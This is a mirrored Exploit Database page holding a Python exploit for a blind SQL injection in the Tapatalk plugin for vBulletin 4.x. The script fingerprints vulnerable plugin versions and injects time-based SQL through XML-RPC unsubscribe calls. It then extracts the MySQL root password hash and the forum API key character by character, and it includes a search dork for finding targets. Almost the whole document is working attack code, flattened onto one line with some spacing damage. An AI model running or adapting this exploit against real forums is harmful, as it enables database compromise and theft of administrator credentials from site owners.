Tapatalk for vBulletin 4.x – Blind SQL Injection

• Exploit Database
• 103 阅读

• 作者： tintinweb
  日期： 2014-10-28
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35102/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234

  #!/usr/bin/env python # -*- coding: utf-8 -*- &apos;&apos;&apos; @author: tintinweb 0x721427D8 &apos;&apos;&apos; import urllib2, urllib import xmlrpclib,re, urllib2,string,itertools,time from distutils.version import LooseVersion     class Exploit(object): def __init__(self, target, debug=0 ): self.stopwatch_start=time.time() self.target = target self.path = target self.debug=debug if not self.target.endswith("mobiquo.php"): self.path = self.detect_tapatalk() if not self.path: raise Exception("Could not detect tapatalk or version not supported!") self.rpc_connect() self.attack_func = self.attack_2   def detect_tapatalk(self): # request page, check for tapatalk banner handlers = [ urllib2.HTTPHandler(debuglevel=self.debug), urllib2.HTTPSHandler(debuglevel=self.debug),   ] ua = urllib2.build_opener(*handlers) ua.addheaders = [(&apos;User-agent&apos;, &apos;Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3&apos;)] data = ua.open(self.target).read() if self.debug: print data if not "tapatalkDetect()" in data: print "[xx] could not detect tapatalk. bye..." return None   # extract tapatalk version print "[ i] Taptalk detected ... ", path = "".join(re.findall(r"^\s*<link href=[\s&apos;\"]?(http://.*?/)smartbanner/appbanner.css", data, re.MULTILINE|re.DOTALL)) path+="mobiquo.php" print "&apos;%s&apos; ... "%path, data = urllib.urlopen(path).read() version = "".join(re.findall(r"Current Tapatalk plugin version:\s*([\d\.a-zA-Z]+)", data)) if LooseVersion(version) <= LooseVersion("5.2.1"): print "v.%s:) - OK"%version return path print "v.%s :( - not vulnerable"%version return None   def rpc_connect(self): self.rpc = xmlrpclib.ServerProxy(self.path,verbose=self.debug)   def attack_1(self, sqli, sleep=2):   &apos;&apos;&apos; SELECT subscribethreadid FROM subscribethread AS subscribethread LEFT JOIN user AS user ON (user.userid=subscribeforum.userid) WHERE subscribethreadid = <INJECTION> AND subscribethreadid.userid = 0";   <INJECTION>: 1 UNION ALL <select_like_probe> OR FALSE &apos;&apos;&apos;   query = "-1 union %s and(select sleep(%s) )"%(sqli,sleep) query += "union select subscribethreadid from subscribethreadwhere 1=1 OR 1=1"# fix query for "AND subscribeforum.userid=0"   if self.debug: print """SELECT subscribethreadid FROM subscribethread AS subscribethread LEFT JOIN user AS user ON (user.userid=subscribethread.userid) WHERE subscribethreadid = %s AND subscribethread.userid = 0"""%query   return self.rpc.unsubscribe_topic("s_%s"%query) #no escape, invalid_char="_"   def attack_2(self, sqli, sleep=2): &apos;&apos;&apos; SELECT subscribeforumid FROM subscribeforum AS subscribeforum LEFT JOIN user AS user ON (user.userid=subscribeforum.userid) WHERE subscribeforumid = <INJECTION> AND subscribeforum.userid = 0";   <INJECTION>: 1 UNION ALL <select_like_probe> OR FALSE &apos;&apos;&apos;   query = "-1 union %s and(select sleep(%s) )"%(sqli,sleep) query += "union select subscribeforumid from subscribeforumwhere 1=1 OR 1=1"# fix query for "AND subscribeforum.userid=0"   if self.debug: print """SELECT subscribeforumid FROM subscribeforum AS subscribeforum LEFT JOIN user AS user ON (user.userid=subscribeforum.userid) WHERE subscribeforumid = %s AND subscribeforum.userid = 0"""%query   return self.rpc.unsubscribe_forum("s_%s"%query) #no escape, invalid_char="_"   def attack_blind(self,sqli,sleep=2): return self.attack_func(sqli,sleep=sleep) #return self.attack_func("-1 OR subscribethreadid = ( %s AND (select sleep(4)) )UNION SELECT &apos;aaa&apos; FROM subscribethreadWHERE subscribethreadid = -1 OR 1 "%sqli)   def attack_blind_guess(self,query, column, charset=string.ascii_letters+string.digits,maxlength=32, sleep=2, case=True): &apos;&apos;&apos; provide <query> = select -1 from user where user=&apos;debian-sys-maint&apos; where <COLUMN> <GUESS> &apos;&apos;&apos;     hit = False # PHASE 1 - guess entry length print "[] trying to guess length ..." for guess_length in xrange(maxlength+1): q = query.replace("<COLUMN>","length(%s)"%column).replace("<GUESS>","= %s"%guess_length)   self.stopwatch() self.attack_blind(q, sleep) duration = self.stopwatch()   print ".",   ifduration >= sleep-sleep/8: # HIT! - got length! => guess_length hit = True print "" break   if not hit: print "[ !!] unable to guess password length, check query!" return None     print "[*] LENGTH = %s"%guess_length   # PHASE 2 - guess password up to length print "[] trying to guess value..." hits = 0 result = "" for pos in xrange(guess_length): # for each char pos in up to guessed length for attempt in self.bruteforce(charset, 1): # probe all chars in charset #attempt = re.escape(attempt) if attempt == "%%": attempt= "\%" #LIKE binary = case sensitive.might be better to do caseinsensitive search + recheck case with binary q = query.replace("<COLUMN>",column).replace("<GUESS>","LIKE &apos;%s%s%%&apos; "%(result,attempt))   self.stopwatch() self.attack_blind(q, sleep) duration = self.stopwatch()   #print result,attempt,"",duration print ".", ifduration >= sleep-sleep/8: if case: # case insensitive hit - recheck case: this is drastically reducing queries needed. q = query.replace("<COLUMN>",column).replace("<GUESS>","LIKE binary &apos;%s%s%%&apos; "%(result,attempt.lower())) self.stopwatch() self.attack_blind(q, sleep) duration = self.stopwatch() ifduration >= sleep-sleep/8: attempt = attempt.lower() else: attempt = attempt.upper() # case sensitive - end       # HIT! - got length! => guess_length hits += 1 print "" print "[+] HIT! - %s[%s].."%(result,attempt) result += attempt break   if not hits==guess_length: print "[ !!] unable to guess password length, check query!" return None   print "[*] SUCCESS!: query: %s"%(query.replace("<COLUMN>",column).replace("<GUESS>","=&apos;%s&apos;"%result)) return result   def bruteforce(self, charset, maxlength): return (&apos;&apos;.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(charset, repeat=i) for i in range(1, maxlength + 1)))   def stopwatch(self): stop = time.time() diff = stop - self.stopwatch_start self.stopwatch_start=stop return diff   if __name__=="__main__": #googledork:https://www.google.at/search?q=Tapatalk+Banner+head+start DEBUG = False TARGET = "http://TARGET/vbb4/forum.php" x = Exploit(TARGET,debug=DEBUG)   print "[ ] TAPATALK for vBulletin 4.x - SQLi" print "[--] Target: %s"%TARGET if DEBUG: print "[--] DEBUG-Mode!"   print "[ +] Attack - sqli"     query = u"-1UNION SELECT 1%s"%unichr(0) if DEBUG: print u"""SELECT subscribeforumid FROM subscribeforum AS subscribeforum LEFT JOIN user AS user ON (user.userid=subscribeforum.userid) WHERE subscribeforumid = %s AND subscribeforum.userid = 0"""%query     print "[ *] guess mysql user/pass" print x.attack_blind_guess("select -1 from mysql.user where user=&apos;root&apos; and <COLUMN> <GUESS>", column="password", charset="*"+string.hexdigits, maxlength=45)# usually 40 chars + 1 (*)   print "[ *] guess apikey" print x.attack_blind_guess("select -1 from setting where varname=&apos;apikey&apos; and <COLUMN> <GUESS>", column=&apos;value&apos;, charset=string.ascii_letters+string.digits, maxlength=14, )   print "-- done --"